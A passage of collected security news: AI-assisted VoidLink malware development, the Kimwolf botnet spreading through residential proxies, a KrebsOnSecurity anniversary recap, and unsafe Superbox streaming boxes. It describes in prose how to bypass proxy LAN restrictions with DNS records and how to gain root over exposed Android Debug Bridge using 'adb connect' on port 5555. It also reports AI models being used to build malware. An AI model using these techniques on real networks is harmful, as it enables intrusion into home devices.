well-structured, consistently formatted, and meticulously detailed. One such document detailing the development plan was created on November 27, 2025. The documentation is said to have been repurposed as an execution blueprint for the LLM to follow, build, and test the malware. Check Point, which replicated the implementation workflow using the TRAE IDE used by the developer, found that the model generated code that resembled VoidLink's source code. "A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment," it said. "Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions." The development is yet another sign that, while AI and LLMs may not equip bad actors with novel capabilities, they can further lower the barrier of entry to cybercrime, empowering even a single individual to envision, create, and iterate complex systems quickly and pull off sophisticated attacks -- streamlining what was once a process that required a significant amount of effort and resources and available only to nation-state adversaries. "VoidLink represents a real shift in how advanced malware can be created. What stood out wasn't just the sophistication of the framework, but the speed at which it was built," Eli Smadja, group manager at Check Point Research, said in a statement shared with The Hacker News. "AI enabled what appears to be a single actor to plan, develop, and iterate a complex malware platform in days – something that previously required coordinated teams and significant resources. This is a clear signal that AI is changing the economics and scale of cyber threats." In a whitepaper published this week, Group-IB described AI as supercharging a "fifth wave" in the evolution of cybercrime, offering ready-made tools to enable sophisticated attacks. "Adversaries are industrialising AI, turning once specialist skills such as persuasion, impersonation, and malware development into on-demand services available to anyone with a credit card," it said. The Singapore-headquartered cybersecurity company noted that dark web forum posts featuring AI keywords have seen a 371% increase since 2019, with threat actors advertising dark LLMs like Nytheon AI that do not have any ethical restrictions, jailbreak frameworks, and synthetic identity kits offering AI video actors, cloned voices, and even biometric datasets for as little as $5. "AI has industrialized cybercrime. What once required skilled operators and time can now be bought, automated, and scaled globally," Craig Jones, former INTERPOL director of cybercrime and independent strategic advisor, said. "While AI hasn’t created new motives for cybercriminals — money, leverage, and access still drive the ecosystem – it has dramatically increased the speed, scale, and sophistication with which those motives are pursued."
thehackernews.comJan 21, 2026extracted
The Kimwolf Botnet is Stalking Your Local Network
The story you are reading is a series of scoops nestled inside a far more urgent Internet-wide security advisory. The vulnerability at issue has been exploited for months already, and it’s time for a broader awareness of the threat. The short version is that everything you thought you knew about the security of the internal network behind your Internet router probably is now dangerously out of date. The past few months have witnessed the explosive growth of a new botnet dubbed Kimwolf, which experts say has infected more than 2 million devices globally. The Kimwolf malware forces compromised systems to relay malicious and abusive Internet traffic — such as ad fraud, account takeover attempts and mass content scraping — and participate in crippling distributed denial-of-service (DDoS) attacks capable of knocking nearly any website offline for days at a time. More important than Kimwolf’s staggering size, however, is the diabolical method it uses to spread so quickly: By effectively tunneling back through various “residential proxy” networks and into the local networks of the proxy endpoints, and by further infecting devices that are hidden behind the assumed protection of the user’s firewall and Internet router. Residential proxy networks are sold as a way for customers to anonymize and localize their Web traffic to a specific region, and the biggest of these services allow customers to route their traffic through devices in virtually any country or city around the globe. The malware that turns an end-user’s Internet connection into a proxy node is often bundled with dodgy mobile apps and games. These residential proxy programs also are commonly installed via unofficial Android TV boxes sold by third-party merchants on popular e-commerce sites like Amazon, BestBuy, Newegg, and Walmart. These TV boxes range in price from $40 to $400, are marketed under a dizzying range of no-name brands and model numbers, and frequently are advertised as a way to stream certain types of subscription video content for free. But there’s a hidden cost to this transaction: As we’ll explore in a moment, these TV boxes make up a considerable chunk of the estimated two million systems currently infected with Kimwolf. Kimwolf also is quite good at infecting a range of Internet-connected digital photo frames that likewise are abundant at major e-commerce websites. In November 2025, researchers from Quokka published a report (PDF) detailing serious security issues in Android-based digital picture frames running the Uhale app — including Amazon’s bestselling digital frame as of March 2025. There are two major security problems with these photo frames and unofficial Android TV boxes. The first is that a considerable percentage of them come with malware pre-installed, or else require the user to download an unofficial Android App Store and malware in order to use the device for its stated purpose (video content piracy). The most typical of these uninvited guests are small programs that turn the device into a residential proxy node that is resold to others. The second big security nightmare with these photo frames and unsanctioned Android TV boxes is that they rely on a handful of Internet-connected microcomputer boards that have no discernible security or authentication requirements built-in. In other words, if you are on the same network as one or more of these devices, you can likely compromise them simultaneously by issuing a single command across the network. THERE’S NO PLACE LIKE 127.0.0.1 The combination of these two security realities came to the fore in October 2025, when an undergraduate computer science student at the Rochester Institute of Technology began closely tracking Kimwolf’s growth, and interacting directly with its apparent creators on a daily basis. Benjamin Brundage is the 22-year-old founder of the security firm Synthient, a startup that helps companies detect proxy networks and learn how those networks are being abused. Conducting much of his research into Kimwolf while studying for final exams, Brundage told KrebsOnSecurity in late October 2025 he suspected Kimwolf was a new Android-based variant of Aisuru, a botnet that was incorrectly blamed for a number of record-smashing DDoS attacks last fall. Brundage says Kimwolf grew rapidly by abusing a glaring vulnerability in many of the world’s largest residential proxy services. The crux of the weakness, he explained, was that these proxy services weren’t doing enough to prevent their customers from forwarding requests to internal servers of the individual proxy endpoints. Most proxy services take basic steps to prevent their paying customers from “going upstream” into the local network of proxy endpoints, by explicitly denying requests for local addresses specified in RFC-1918, including the well-known Network Address Translation (NAT) ranges 10.0.0.0/8, 192.168.0.0/16, and 172.16.0.0/12. These ranges allow multiple devices in a private network to access the Internet using a single public IP address, and if you run any kind of home or office network, your internal address space operates within one or more of these NAT ranges. However, Brundage discovered that the people operating Kimwolf had figured out how to talk directly to devices on the internal networks of millions of residential proxy endpoints, simply by changing their Domain Name System (DNS) settings to match those in the RFC-1918 address ranges. “It is possible to circumvent existing domain restrictions by using DNS records that point to 192.168.0.1 or 0.0.0.0,” Brundage wrote in a first-of-its-kind security advisory sent to nearly a dozen residential proxy providers in mid-December 2025. “This grants an attacker the ability to send carefully crafted requests to the current device or a device on the local network. This is actively being exploited, with attackers leveraging this functionality to drop malware.” As with the digital photo frames mentioned above, many of these residential proxy services run solely on mobile devices that are running some game, VPN or other app with a hidden component that turns the user’s mobile phone into a residential proxy — often without any meaningful consent. In a report published today, Synthient said key actors involved in Kimwolf were observed monetizing the botnet through app installs, selling residential proxy bandwidth, and selling its DDoS functionality. “Synthient expects to observe a growing interest among threat actors in gaining unrestricted access to proxy networks to infect devices, obtain network access, or access sensitive information,” the report observed. “Kimwolf highlights the risks posed by unsecured proxy networks and their viability as an attack vector.” ANDROID DEBUG BRIDGE After purchasing a number of unofficial Android TV box models that were most heavily represented in the Kimwolf botnet, Brundage further discovered the proxy service vulnerability was only part of the reason for Kimwolf’s rapid rise: He also found virtually all of the devices he tested were shipped from the factory with a powerful feature called Android Debug Bridge (ADB) mode enabled by default. ADB is a diagnostic tool intended for use solely during the manufacturing and testing processes, because it allows the devices to be remotely configured and even updated with new (and potentially malicious) firmware. However, shipping these devices with ADB turned on creates a security nightmare because in this state they constantly listen for and accept unauthenticated connection requests. For example, opening a command prompt and typing “adb connect” along with a vulnerable device’s (local) IP address followed immediately by “:5555” will very quickly offer unrestricted “super user” administrative access. Brundage said by early December, he’d identified a one-to-one overlap between new Kimwolf infections and proxy IP addresses offered for rent by China-based IPIDEA, currently the world’s largest residential proxy network by all accounts. “Kimwolf has almost doubled in size this past week, just by exploiting IPIDEA’s proxy pool,” Brundage told KrebsOnSecurity in early December as he was preparing to notify IPIDEA and 10 other proxy providers about his research. Brundage said Synthient first confirmed on December 1, 2025 that the Kimwolf botnet operators were tunneling back through IPIDEA’s proxy network and into the local networks of systems running IPIDEA’s proxy software. The attackers dropped the malware payload by directing infected systems to visit a specific Internet address and to call out the pass phrase “krebsfiveheadindustries” in order to unlock the malicious download. On December 30, Synthient said it was tracking roughly 2 million IPIDEA addresses exploited by Kimwolf in the previous week. Brundage said he has witnessed Kimwolf rebuilding itself after one recent takedown effort targeting its control servers — from almost nothing to two million infected systems just by tunneling through proxy endpoints on IPIDEA for a couple of days. Brundage said IPIDEA has a seemingly inexhaustible supply of new proxies, advertising access to more than 100 million residential proxy endpoints around the globe in the past week alone. Analyzing the exposed devices that were part of IPIDEA’s proxy pool, Synthient said it found more than two-thirds were Android devices that could be compromised with no authentication needed. SECURITY NOTIFICATION AND RESPONSE After charting a tight overlap in Kimwolf-infected IP addresses and those sold by IPIDEA, Brundage was eager to make his findings public: The vulnerability had clearly been exploited for several months, although it appeared that only a handful of cybercrime actors were aware of the capability. But he also knew that going public without giving vulnerable proxy providers an opportunity to understand and patch it would only lead to more mass abuse of these services by additional cybercriminal groups. On December 17, Brundage sent a security notification to all 11 of the apparently affected proxy providers, hoping to give each at least a few weeks to acknowledge and address the core problems identified in his report before he went public. Many proxy providers who received the notification were resellers of IPIDEA that white-labeled the company’s service. KrebsOnSecurity first sought comment from IPIDEA in October 2025, in reporting on a story about how the proxy network appeared to have benefitted from the rise of the Aisuru botnet, whose administrators appeared to shift from using the botnet primarily for DDoS attacks to simply installing IPIDEA’s proxy program, among others. On December 25, KrebsOnSecurity received an email from an IPIDEA employee identified only as “Oliver,” who said allegations that IPIDEA had benefitted from Aisuru’s rise were baseless. “After comprehensively verifying IP traceability records and supplier cooperation agreements, we found no association between any of our IP resources and the Aisuru botnet, nor have we received any notifications from authoritative institutions regarding our IPs being involved in malicious activities,” Oliver wrote. “In addition, for external cooperation, we implement a three-level review mechanism for suppliers, covering qualification verification, resource legality authentication and continuous dynamic monitoring, to ensure no compliance risks throughout the entire cooperation process.” “IPIDEA firmly opposes all forms of unfair competition and malicious smearing in the industry, always participates in market competition with compliant operation and honest cooperation, and also calls on the entire industry to jointly abandon irregular and unethical behaviors and build a clean and fair market ecosystem,” Oliver continued. Meanwhile, the same day that Oliver’s email arrived, Brundage shared a response he’d just received from IPIDEA’s security officer, who identified himself only by the first name Byron. The security officer said IPIDEA had made a number of important security changes to its residential proxy service to address the vulnerability identified in Brundage’s report. “By design, the proxy service does not allow access to any internal or local address space,” Byron explained. “This issue was traced to a legacy module used solely for testing and debugging purposes, which did not fully inherit the internal network access restrictions. Under specific conditions, this module could be abused to reach internal resources. The affected paths have now been fully blocked and the module has been taken offline.” Byron told Brundage IPIDEA also instituted multiple mitigations for blocking DNS resolution to internal (NAT) IP ranges, and that it was now blocking proxy endpoints from forwarding traffic on “high-risk” ports “to prevent abuse of the service for scanning, lateral movement, or access to internal services.” Brundage said IPIDEA appears to have successfully patched the vulnerabilities he identified. He also noted he never observed the Kimwolf actors targeting proxy services other than IPIDEA, which has not responded to requests for comment. Riley Kilmer is founder of Spur.us, a technology firm that helps companies identify and filter out proxy traffic. Kilmer said Spur has tested Brundage’s findings and confirmed that IPIDEA and all of its affiliate resellers indeed allowed full and unfiltered access to the local LAN. Kilmer said one model of unsanctioned Android TV boxes that is especially popular — the Superbox, which we profiled in November’s Is Your Android TV Streaming Box Part of a Botnet? — leaves Android Debug Mode running on localhost:5555. “And since Superbox turns the IP into an IPIDEA proxy, a bad actor just has to use the proxy to localhost on that port and install whatever bad SDKs [software development kits] they want,” Kilmer told KrebsOnSecurity. ECHOES FROM THE PAST Both Brundage and Kilmer say IPIDEA appears to be the second or third reincarnation of a residential proxy network formerly known as 911S5 Proxy, a service that operated between 2014 and 2022 and was wildly popular on cybercrime forums. 911S5 Proxy imploded a week after KrebsOnSecurity published a deep dive on the service’s sketchy origins and leadership in China. In that 2022 profile, we cited work by researchers at the University of Sherbrooke in Canada who were studying the threat 911S5 could pose to internal corporate networks. The researchers noted that “the infection of a node enables the 911S5 user to access shared resources on the network such as local intranet portals or other services.” “It also enables the end user to probe the LAN network of the infected node,” the researchers explained. “Using the internal router, it would be possible to poison the DNS cache of the LAN router of the infected node, enabling further attacks.” 911S5 initially responded to our reporting in 2022 by claiming it was conducting a top-down security review of the service. But the proxy service abruptly closed up shop just one week later, saying a malicious hacker had destroyed all of the company’s customer and payment records. In July 2024, The U.S. Department of the Treasury sanctioned the alleged creators of 911S5, and the U.S. Department of Justice arrested the Chinese national named in my 2022 profile of the proxy service. Kilmer said IPIDEA also operates a sister service called 922 Proxy, which the company has pitched from Day One as a seamless alternative to 911S5 Proxy. “You cannot tell me they don’t want the 911 customers by calling it that,” Kilmer said. Among the recipients of Synthient’s notification was the proxy giant Oxylabs. Brundage shared an email he received from Oxylabs’ security team on December 31, which acknowledged Oxylabs had started rolling out security modifications to address the vulnerabilities described in Synthient’s report. Reached for comment, Oxylabs confirmed they “have implemented changes that now eliminate the ability to bypass the blocklist and forward requests to private network addresses using a controlled domain.” But it said there is no evidence that Kimwolf or other other attackers exploited its network. “In parallel, we reviewed the domains identified in the reported exploitation activity and did not observe traffic associated with them,” the Oxylabs statement continued. “Based on this review, there is no indication that our residential network was impacted by these activities.” PRACTICAL IMPLICATIONS Consider the following scenario, in which the mere act of allowing someone to use your Wi-Fi network could lead to a Kimwolf botnet infection. In this example, a friend or family member comes to stay with you for a few days, and you grant them access to your Wi-Fi without knowing that their mobile phone is infected with an app that turns the device into a residential proxy node. At that point, your home’s public IP address will show up for rent at the website of some residential proxy provider. Miscreants like those behind Kimwolf then use residential proxy services online to access that proxy node on your IP, tunnel back through it and into your local area network (LAN), and automatically scan the internal network for devices with Android Debug Bridge mode turned on. By the time your guest has packed up their things, said their goodbyes and disconnected from your Wi-Fi, you now have two devices on your local network — a digital photo frame and an unsanctioned Android TV box — that are infected with Kimwolf. You may have never intended for these devices to be exposed to the larger Internet, and yet there you are. Here’s another possible nightmare scenario: Attackers use their access to proxy networks to modify your Internet router’s settings so that it relies on malicious DNS servers controlled by the attackers — allowing them to control where your Web browser goes when it requests a website. Think that’s far-fetched? Recall the DNSChanger malware from 2012 that infected more than a half-million routers with search-hijacking malware, and ultimately spawned an entire security industry working group focused on containing and eradicating it. XLAB Much of what is published so far on Kimwolf has come from the Chinese security firm XLab, which was the first to chronicle the rise of the Aisuru botnet in late 2024. In its latest blog post, XLab said it began tracking Kimwolf on October 24, when the botnet’s control servers were swamping Cloudflare’s DNS servers with lookups for the distinctive domain 14emeliaterracewestroxburyma02132[.]su. This domain and others connected to early Kimwolf variants spent several weeks topping Cloudflare’s chart of the Internet’s most sought-after domains, edging out Google.com and Apple.com of their rightful spots in the top 5 most-requested domains. That’s because during that time Kimwolf was asking its millions of bots to check in frequently using Cloudflare’s DNS servers. It is clear from reading the XLab report that KrebsOnSecurity (and security experts) probably erred in misattributing some of Kimwolf’s early activities to the Aisuru botnet, which appears to be operated by a different group entirely. IPDEA may have been truthful when it said it had no affiliation with the Aisuru botnet, but Brundage’s data left no doubt that its proxy service clearly was being massively abused by Aisuru’s Android variant, Kimwolf. XLab said Kimwolf has infected at least 1.8 million devices, and has shown it is able to rebuild itself quickly from scratch. “Analysis indicates that Kimwolf’s primary infection targets are TV boxes deployed in residential network environments,” XLab researchers wrote. “Since residential networks usually adopt dynamic IP allocation mechanisms, the public IPs of devices change over time, so the true scale of infected devices cannot be accurately measured solely by the quantity of IPs. In other words, the cumulative observation of 2.7 million IP addresses does not equate to 2.7 million infected devices.” XLab said measuring Kimwolf’s size also is difficult because infected devices are distributed across multiple global time zones. “Affected by time zone differences and usage habits (e.g., turning off devices at night, not using TV boxes during holidays, etc.), these devices are not online simultaneously, further increasing the difficulty of comprehensive observation through a single time window,” the blog post observed. XLab noted that the Kimwolf author shows an almost ‘obsessive’ fixation” on Yours Truly, apparently leaving “easter eggs” related to my name in multiple places through the botnet’s code and communications: ANALYSIS AND ADVICE One frustrating aspect of threats like Kimwolf is that in most cases it is not easy for the average user to determine if there are any devices on their internal network which may be vulnerable to threats like Kimwolf and/or already infected with residential proxy malware. Let’s assume that through years of security training or some dark magic you can successfully identify that residential proxy activity on your internal network was linked to a specific mobile device inside your house: From there, you’d still need to isolate and remove the app or unwanted component that is turning the device into a residential proxy. Also, the tooling and knowledge needed to achieve this kind of visibility just isn’t there from an average consumer standpoint. The work that it takes to configure your network so you can see and interpret logs of all traffic coming in and out is largely beyond the skillset of most Internet users (and, I’d wager, many security experts). But it’s a topic worth exploring in an upcoming story. Happily, Synthient has erected a page on its website that will state whether a visitor’s public Internet address was seen among those of Kimwolf-infected systems. Brundage also has compiled a list of the unofficial Android TV boxes that are most highly represented in the Kimwolf botnet. If you own a TV box that matches one of these model names and/or numbers, please just rip it out of your network. If you encounter one of these devices on the network of a family member or friend, send them a link to this story and explain that it’s not worth the potential hassle and harm created by keeping them plugged in. Chad Seaman is a principal security researcher with Akamai Technologies. Seaman said he wants more consumers to be wary of these pseudo Android TV boxes to the point where they avoid them altogether. “I want the consumer to be paranoid of these crappy devices and of these residential proxy schemes,” he said. “We need to highlight why they’re dangerous to everyone and to the individual. The whole security model where people think their LAN (Local Internal Network) is safe, that there aren’t any bad guys on the LAN so it can’t be that dangerous is just really outdated now.” “The idea that an app can enable this type of abuse on my network and other networks, that should really give you pause,” about which devices to allow onto your local network, Seaman said. “And it’s not just Android devices here. Some of these proxy services have SDKs for Mac and Windows, and the iPhone. It could be running something that inadvertently cracks open your network and lets countless random people inside.” In July 2025, Google filed a “John Doe” lawsuit (PDF) against 25 unidentified defendants collectively dubbed the “BadBox 2.0 Enterprise,” which Google described as a botnet of over ten million unsanctioned Android streaming devices engaged in advertising fraud. Google said the BADBOX 2.0 botnet, in addition to compromising multiple types of devices prior to purchase, also can infect devices by requiring the download of malicious apps from unofficial marketplaces. Google’s lawsuit came on the heels of a June 2025 advisory from the Federal Bureau of Investigation (FBI), which warned that cyber criminals were gaining unauthorized access to home networks by either configuring the products with malware prior to the user’s purchase, or infecting the device as it downloads required applications that contain backdoors — usually during the set-up process. The FBI said BADBOX 2.0 was discovered after the original BADBOX campaign was disrupted in 2024. The original BADBOX was identified in 2023, and primarily consisted of Android operating system devices that were compromised with backdoor malware prior to purchase. Lindsay Kaye is vice president of threat intelligence at HUMAN Security, a company that worked closely on the BADBOX investigations. Kaye said the BADBOX botnets and the residential proxy networks that rode on top of compromised devices were detected because they enabled a ridiculous amount of advertising fraud, as well as ticket scalping, retail fraud, account takeovers and content scraping. Kaye said consumers should stick to known brands when it comes to purchasing things that require a wired or wireless connection. “If people are asking what they can do to avoid being victimized by proxies, it’s safest to stick with name brands,” Kaye said. “Anything promising something for free or low-cost, or giving you something for nothing just isn’t worth it. And be careful about what apps you allow on your phone.” Many wireless routers these days make it relatively easy to deploy a “Guest” wireless network on-the-fly. Doing so allows your guests to browse the Internet just fine but it blocks their device from being able to talk to other devices on the local network — such as shared folders, printers and drives. If someone — a friend, family member, or contractor — requests access to your network, give them the guest Wi-Fi network credentials if you have that option. There is a small but vocal pro-piracy camp that is almost condescendingly dismissive of the security threats posed by these unsanctioned Android TV boxes. These tech purists positively chafe at the idea of people wholesale discarding one of these TV boxes. A common refrain from this camp is that Internet-connected devices are not inherently bad or good, and that even factory-infected boxes can be flashed with new firmware or custom ROMs that contain no known dodgy software. However, it’s important to point out that the majority of people buying these devices are not security or hardware experts; the devices are sought out because they dangle something of value for “free.” Most buyers have no idea of the bargain they’re making when plugging one of these dodgy TV boxes into their network. It is somewhat remarkable that we haven’t yet seen the entertainment industry applying more visible pressure on the major e-commerce vendors to stop peddling this insecure and actively malicious hardware that is largely made and marketed for video piracy. These TV boxes are a public nuisance for bundling malicious software while having no apparent security or authentication built-in, and these two qualities make them an attractive nuisance for cybercriminals. Further reading:
krebsonsecurity.comJan 2, 2026extracted
Happy 16th Birthday, KrebsOnSecurity.com!
KrebsOnSecurity.com celebrates its 16th anniversary today! A huge “thank you” to all of our readers — newcomers, long-timers and drive-by critics alike. Your engagement this past year here has been tremendous and truly a salve on a handful of dark days. Happily, comeuppance was a strong theme running through our coverage in 2025, with a primary focus on entities that enabled complex and globally-dispersed cybercrime services. In May 2024, we scrutinized the history and ownership of Stark Industries Solutions Ltd., a “bulletproof hosting” provider that came online just two weeks before Russia invaded Ukraine and served as a primary staging ground for repeated Kremlin cyberattacks and disinformation efforts. A year later, Stark and its two co-owners were sanctioned by the European Union, but our analysis showed those penalties have done little to stop the Stark proprietors from rebranding and transferring considerable network assets to other entities they control. In December 2024, KrebsOnSecurity profiled Cryptomus, a financial firm registered in Canada that emerged as the payment processor of choice for dozens of Russian cryptocurrency exchanges and websites hawking cybercrime services aimed at Russian-speaking customers. In October 2025, Canadian financial regulators ruled that Cryptomus had grossly violated its anti-money laundering laws, and levied a record $176 million fine against the platform. In September 2023, KrebsOnSecurity published findings from researchers who concluded that a series of six-figure cyberheists across dozens of victims resulted from thieves cracking master passwords stolen from the password manager service LastPass in 2022. In a court filing in March 2025, U.S. federal agents investigating a spectacular $150 million cryptocurrency heist said they had reached the same conclusion. Phishing was a major theme of this year’s coverage, which peered inside the day-to-day operations of several voice phishing gangs that routinely carried out elaborate, convincing, and financially devastating cryptocurrency thefts. A Day in the Life of a Prolific Voice Phishing Crew examined how one cybercrime gang abused legitimate services at Apple and Google to force a variety of outbound communications to their users, including emails, automated phone calls and system-level messages sent to all signed-in devices. Nearly a half-dozen stories in 2025 dissected the incessant SMS phishing or “smishing” coming from China-based phishing kit vendors, who make it easy for customers to convert phished payment card data into mobile wallets from Apple and Google. In an effort to wrest control over this phishing syndicate’s online resources, Google has since filed at least two John Doe lawsuits targeting these groups and dozens of unnamed defendants. In January, we highlighted research into a dodgy and sprawling content delivery network called Funnull that specialized in helping China-based gambling and money laundering websites distribute their operations across multiple U.S.-based cloud providers. Five months later, the U.S. government sanctioned Funnull, identifying it as a top source of investment/romance scams known as “pig butchering.” In May, Pakistan arrested 21 people alleged to be working for Heartsender, a phishing and malware dissemination service that KrebsOnSecurity first profiled back in 2015. The arrests came shortly after the FBI and the Dutch police seized dozens of servers and domains for the group. Many of those arrested were first publicly identified in a 2021 story here about how they’d inadvertently infected their computers with malware that gave away their real-life identities. In April, the U.S. Department of Justice indicted the proprietors of a Pakistan-based e-commerce company for conspiring to distribute synthetic opioids in the United States. The following month, KrebsOnSecurity detailed how the proprietors of the sanctioned entity are perhaps better known for operating an elaborate and lengthy scheme to scam westerners seeking help with trademarks, book writing, mobile app development and logo designs. Earlier this month, we examined an academic cheating empire turbocharged by Google Ads that earned tens of millions of dollars in revenue and has curious ties to a Kremlin-connected oligarch whose Russian university builds drones for Russia’s war against Ukraine. As ever, KrebsOnSecurity endeavored to keep close tabs on the world’s biggest and most disruptive botnets, which pummeled the Internet this year with distributed denial-of-service (DDoS) assaults that were two to three times the size and impact of previous record DDoS attacks. In June, KrebsOnSecurity.com was hit by the largest DDoS attack that Google had ever mitigated at the time (we are a grateful guest of Google’s excellent Project Shield offering). Experts blamed that attack on an Internet-of-Things botnet called Aisuru that had rapidly grown in size and firepower since its debut in late 2024. Another Aisuru attack on Cloudflare just days later practically doubled the size of the June attack against this website. Not long after that, Aisuru was blamed for a DDoS that again doubled the previous record. In October, it appeared the cybercriminals in control of Aisuru had shifted the botnet’s focus from DDoS to a more sustainable and profitable use: Renting hundreds of thousands of infected Internet of Things (IoT) devices to proxy services that help cybercriminals anonymize their traffic. However, it has recently become clear that at least some of the disruptive botnet and residential proxy activity attributed to Aisuru last year likely was the work of people responsible for building and testing a powerful botnet known as Kimwolf. Chinese security firm XLab, which was the first to chronicle Aisuru’s rise in 2024, recently profiled Kimwolf as easily the world’s biggest and most dangerous collection of compromised machines — with approximately 1.83 million devices under its thumb as of December 17. XLab noted that the Kimwolf author “shows an almost ‘obsessive’ fixation on the well-known cybersecurity investigative journalist Brian Krebs, leaving easter eggs related to him in multiple places.” I am happy to report that the first KrebsOnSecurity stories of 2026 will go deep into the origins of Kimwolf, and examine the botnet’s unique and highly invasive means of spreading digital disease far and wide. The first in that series will include a somewhat sobering and global security notification concerning the devices and residential proxy services that are inadvertently helping to power Kimwolf’s rapid growth. Thank you once again for your continued readership, encouragement and support. If you like the content we publish at KrebsOnSecurity.com, please consider making an exception for our domain in your ad blocker. The ads we run are limited to a handful of static images that are all served in-house and vetted by me (there is no third-party content on this site, period). Doing so would help further support the work you see here almost every week. And if you haven’t done so yet, sign up for our email newsletter! (62,000 other subscribers can’t be wrong, right?). The newsletter is just a plain text email that goes out the moment a new story is published. We send between one and two emails a week, we never share our email list, and we don’t run surveys or promotions. Thanks again, and Happy New Year everyone! Be safe out there.
krebsonsecurity.comDec 29, 2025extracted
Is Your Android TV Streaming Box Part of a Botnet?
On the surface, the Superbox media streaming devices for sale at retailers like BestBuy and Walmart may seem like a steal: They offer unlimited access to more than 2,200 pay-per-view and streaming services like Netflix, ESPN and Hulu, all for a one-time fee of around $400. But security experts warn these TV boxes require intrusive software that forces the user’s network to relay Internet traffic for others, traffic that is often tied to cybercrime activity such as advertising fraud and account takeovers. Superbox bills itself as an affordable way for households to stream all of the television and movie content they could possibly want, without the hassle of monthly subscription fees — for a one-time payment of nearly $400. “Tired of confusing cable bills and hidden fees?,” Superbox’s website asks in a recent blog post titled, “Cheap Cable TV for Low Income: Watch TV, No Monthly Bills.” “Real cheap cable TV for low income solutions does exist,” the blog continues. “This guide breaks down the best alternatives to stop overpaying, from free over-the-air options to one-time purchase devices that eliminate monthly bills.” Superbox claims that watching a stream of movies, TV shows, and sporting events won’t violate U.S. copyright law. “SuperBox is just like any other Android TV box on the market, we can not control what software customers will use,” the company’s website maintains. “And you won’t encounter a law issue unless uploading, downloading, or broadcasting content to a large group.” There is nothing illegal about the sale or use of the Superbox itself, which can be used strictly as a way to stream content at providers where users already have a paid subscription. But that is not why people are shelling out $400 for these machines. The only way to watch those 2,200+ channels for free with a Superbox is to install several apps made for the device that enable them to stream this content. Superbox’s homepage includes a prominent message stating the company does “not sell access to or preinstall any apps that bypass paywalls or provide access to unauthorized content.” The company explains that they merely provide the hardware, while customers choose which apps to install. “We only sell the hardware device,” the notice states. “Customers must use official apps and licensed services; unauthorized use may violate copyright law.” Superbox is technically correct here, except for maybe the part about how customers must use official apps and licensed services: Before the Superbox can stream those thousands of channels, users must configure the device to update itself, and the first step involves ripping out Google’s official Play store and replacing it with something called the “App Store” or “Blue TV Store.” Superbox does this because the device does not use the official Google-certified Android TV system, and its apps will not load otherwise. Only after the Google Play store has been supplanted by this unofficial App Store do the various movie and video streaming apps that are built specifically for the Superbox appear available for download (again, outside of Google’s app ecosystem). Experts say while these Android streaming boxes generally do what they advertise — enabling buyers to stream video content that would normally require a paid subscription — the apps that enable the streaming also ensnare the user’s Internet connection in a distributed residential proxy network that uses the devices to relay traffic from others. Ashley is a senior solutions engineer at Censys, a cyber intelligence company that indexes Internet-connected devices, services and hosts. Ashley requested that only her first name be used in this story. In a recent video interview, Ashley showed off several Superbox models that Censys was studying in the malware lab — including one purchased off the shelf at BestBuy. “I’m sure a lot of people are thinking, ‘Hey, how bad could it be if it’s for sale at the big box stores?'” she said. “But the more I looked, things got weirder and weirder.” Ashley said she found the Superbox devices immediately contacted a server at the Chinese instant messaging service Tencent QQ, as well as a residential proxy service called Grass IO. GET GRASSED Also known as getgrass[.]io, Grass says it is “a decentralized network that allows users to earn rewards by sharing their unused Internet bandwidth with AI labs and other companies.” “Buyers seek unused internet bandwidth to access a more diverse range of IP addresses, which enables them to see certain websites from a retail perspective,” the Grass website explains. “By utilizing your unused internet bandwidth, they can conduct market research, or perform tasks like web scraping to train AI.” Reached via Twitter/X, Grass founder Andrej Radonjic told KrebsOnSecurity he’d never heard of a Superbox, and that Grass has no affiliation with the device maker. “It looks like these boxes are distributing an unethical proxy network which people are using to try to take advantage of Grass,” Radonjic said. “The point of grass is to be an opt-in network. You download the grass app to monetize your unused bandwidth. There are tons of sketchy SDKs out there that hijack people’s bandwidth to help webscraping companies.” Radonjic said Grass has implemented “a robust system to identify network abusers,” and that if it discovers anyone trying to misuse or circumvent its terms of service, the company takes steps to stop it and prevent those users from earning points or rewards. Superbox’s parent company, Super Media Technology Company Ltd., lists its street address as a UPS store in Fountain Valley, Calif. The company did not respond to multiple inquiries. According to this teardown by behindmlm.com, a blog that covers multi-level marketing (MLM) schemes, Grass’s compensation plan is built around “grass points,” which are earned through the use of the Grass app and through app usage by recruited affiliates. Affiliates can earn 5,000 grass points for clocking 100 hours usage of Grass’s app, but they must progress through ten affiliate tiers or ranks before they can redeem their grass points (presumably for some type of cryptocurrency). The 10th or “Titan” tier requires affiliates to accumulate a whopping 50 million grass points, or recruit at least 221 more affiliates. Radonjic said Grass’s system has changed in recent months, and confirmed the company has a referral program where users can earn Grass Uptime Points by contributing their own bandwidth and/or by inviting other users to participate. “Users are not required to participate in the referral program to earn Grass Uptime Points or to receive Grass Tokens,” Radonjic said. “Grass is in the process of phasing out the referral program and has introduced an updated Grass Points model.” A review of the Terms and Conditions page for getgrass[.]io at the Wayback Machine shows Grass’s parent company has changed names at least five times in the course of its two-year existence. Searching the Wayback Machine on getgrass[.]io shows that in June 2023 Grass was owned by a company called Wynd Network. By March 2024, the owner was listed as Lower Tribeca Corp. in the Bahamas. By August 2024, Grass was controlled by a Half Space Labs Limited, and in November 2024 the company was owned by Grass OpCo (BVI) Ltd. Currently, the Grass website says its parent is just Grass OpCo Ltd (no BVI in the name). Radonjic acknowledged that Grass has undergone “a handful of corporate clean-ups over the last couple of years,” but described them as administrative changes that had no operational impact. “These reflect normal early-stage restructuring as the project moved from initial development…into the current structure under the Grass Foundation,” he said. UNBOXING Censys’s Ashley said the phone home to China’s Tencent QQ instant messaging service was the first red flag with the Superbox devices she examined. She also discovered the streaming boxes included powerful network analysis and remote access tools, such as Tcpdump and Netcat. “This thing DNS hijacked my router, did ARP poisoning to the point where things fall off the network so they can assume that IP, and attempted to bypass controls,” she said. “I have root on all of them now, and they actually have a folder called ‘secondstage.’ These devices also have Netcat and Tcpdump on them, and yet they are supposed to be streaming devices.” A quick online search shows various Superbox models and many similar Android streaming devices for sale at a wide range of top retail destinations, including Amazon, BestBuy, Newegg, and Walmart. Newegg.com, for example, currently lists more than three dozen Superbox models. In all cases, the products are sold by third-party merchants on these platforms, but in many instances the fulfillment comes from the e-commerce platform itself. “Newegg is pretty bad now with these devices,” Ashley said. “Ebay is the funniest, because they have Superbox in Spanish — the SuperCaja — which is very popular.” Ashley said Amazon recently cracked down on Android streaming devices branded as Superbox, but that those listings can still be found under the more generic title “modem and router combo” (which may be slightly closer to the truth about the device’s behavior). Superbox doesn’t advertise its products in the conventional sense. Rather, 